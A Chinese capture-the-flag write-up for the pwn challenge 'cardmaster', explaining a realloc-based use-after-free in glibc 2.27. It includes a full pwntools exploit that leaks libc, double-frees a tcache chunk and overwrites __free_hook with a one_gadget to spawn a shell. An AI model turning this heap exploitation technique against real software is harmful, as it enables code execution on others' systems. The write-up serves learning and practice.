网鼎杯已经过去好长时间了,想起来还有一道题没复现。

本题为pwn中的cardmaster,比赛的时候去帮队友打渗透了,没怎么看这题(听说隔壁从十点看到下午两点都没写出来)

先看保护:

保护全开,glibc版本为2.27,这个版本的堆有tcache机制。

这道题主要的困难点在于逆向,理清楚程序逻辑之后就比较简单了。

创建的结构体:

Struct
00000000 struct __fixed card_struct // sizeof=0x28
00000000 {
00000000     unsigned __int32 usr_size;
00000004     unsigned __int32 card_size;
00000008     unsigned __int64 level;
00000010     unsigned __int64 card;
00000018     unsigned __int64 get_func;
00000020     unsigned __int64 heap_manager;
00000028 };

首先我们来看一下set_info函数:

漏洞点也在这里,realloc函数在size等于0时等同于free,有uaf漏洞。先利用unsorted bin attack泄露出libc基址,然后打free_hook就行。

注意这里malloc的堆块大小,申请0x200的最终堆块大小为0x1820,应该是0x1010和0x810释放后触发了合并机制?这里大于0x410的堆块即进入unsorted_bin,越过了tcachebin。

里面还有一个判断:如果等于原有的字符集,会直接malloc,这就需要我们先初始化了(init),后面申请的时候要用到。

exp如下

Python
from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = process("./cardmaster")
libc = ELF('/home/kali/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc.so.6')

def init():
    p.sendlineafter(">>", b'1')
    #sleep(1)

def edit(card_size, range_num, level, card):
    p.sendlineafter(">>", b'2')
    p.sendlineafter("suit count:", str(card_size))
    p.sendlineafter("digit range 1 - ?", str(range_num))
    p.sendlineafter("randomize level:", str(level))
    p.sendlineafter("new suite set:", card)
    #sleep(1)

def free():
    p.sendlineafter(">>", b'2')
    p.sendlineafter("suit count:", str(0))
    p.sendlineafter("digit range 1 - ?", str(0))
    p.sendlineafter("randomize level:", str(0))
    #sleep(1)

def show():
    p.sendlineafter(b'>>', b'3')


init()
edit(0x200, 1, 1, b'a')#实际free之后为1820大小,超过tcache直接放入unstoredbin,泄露libc
free()
#gdb.attach(p)
show()
p.recvuntil("suit chara set:")
leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print("leak >>>", hex(leak))
libc_base = leak - 0x3ebca0
print("libc_base >>>", hex(libc_base))

free_hook = libc.sym['__free_hook'] + libc_base
onegadget = 0x4f322 + libc_base
edit(0x200, 1, 1, b'a')#把之前那个申请回去
edit(0x20, 1, 1, b'a')
free()
free()#double free利用tcache bin attack打free_hook
edit(0x20, 1, 1, p64(free_hook))
#gdb.attach(p)

init()
edit(0x20, 1, 1, b'a')
init()
edit(0x20, 1, 1, p64(onegadget))
free()

p.interactive()

下面是从别的师傅博客找来的realloc函数的机制

realloc(ptr, size)有两个参数

①当size==0的时候:此时等同于free,相当于free(ptr) 并且返回的是空指针,没有uaf漏洞
ptr==0,size>0的时候:此时等同于malloc(size)

②如果 realloc_ptr 指向的内存块的可用大小,大于或等于请求的大小 size ,realloc 将会保留原来的指针地址,并且不会移动内存块。此时,realloc 会将多余的内存释放掉,以把内存块的大小精确调整到 size 字节。而如果原先的块大小大于 size,则会减少内存的使用,但指针 ptr 仍然指向原先的内存地址,不会改变指向的位置。

③当 realloc_ptr 指向的内存块的可用大小小于请求的大小时,realloc 函数会通过 malloc 分配一块新的、足够大的内存,随后将原内存块的内容复制到新的内存块中。这一过程确保原始数据不会丢失,完成后旧内存块会被释放以避免内存泄漏。如果分配成功,realloc 返回新的内存块指针;若分配失败,则返回 NULL,原指针保持不变。

总的来说这题确实不算特别难(可能逆向分析那里有点问题)

在复现的过程中学到了创建结构体(早点学会就好了):

按shift f1打开local types

右键选择add type或者直接按Insert,设定好大小然后创建。

然后再结构体中按d插入元素,右键可以修改类型和名称。

创建完返回定义结构体的位置,然后应用即可

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...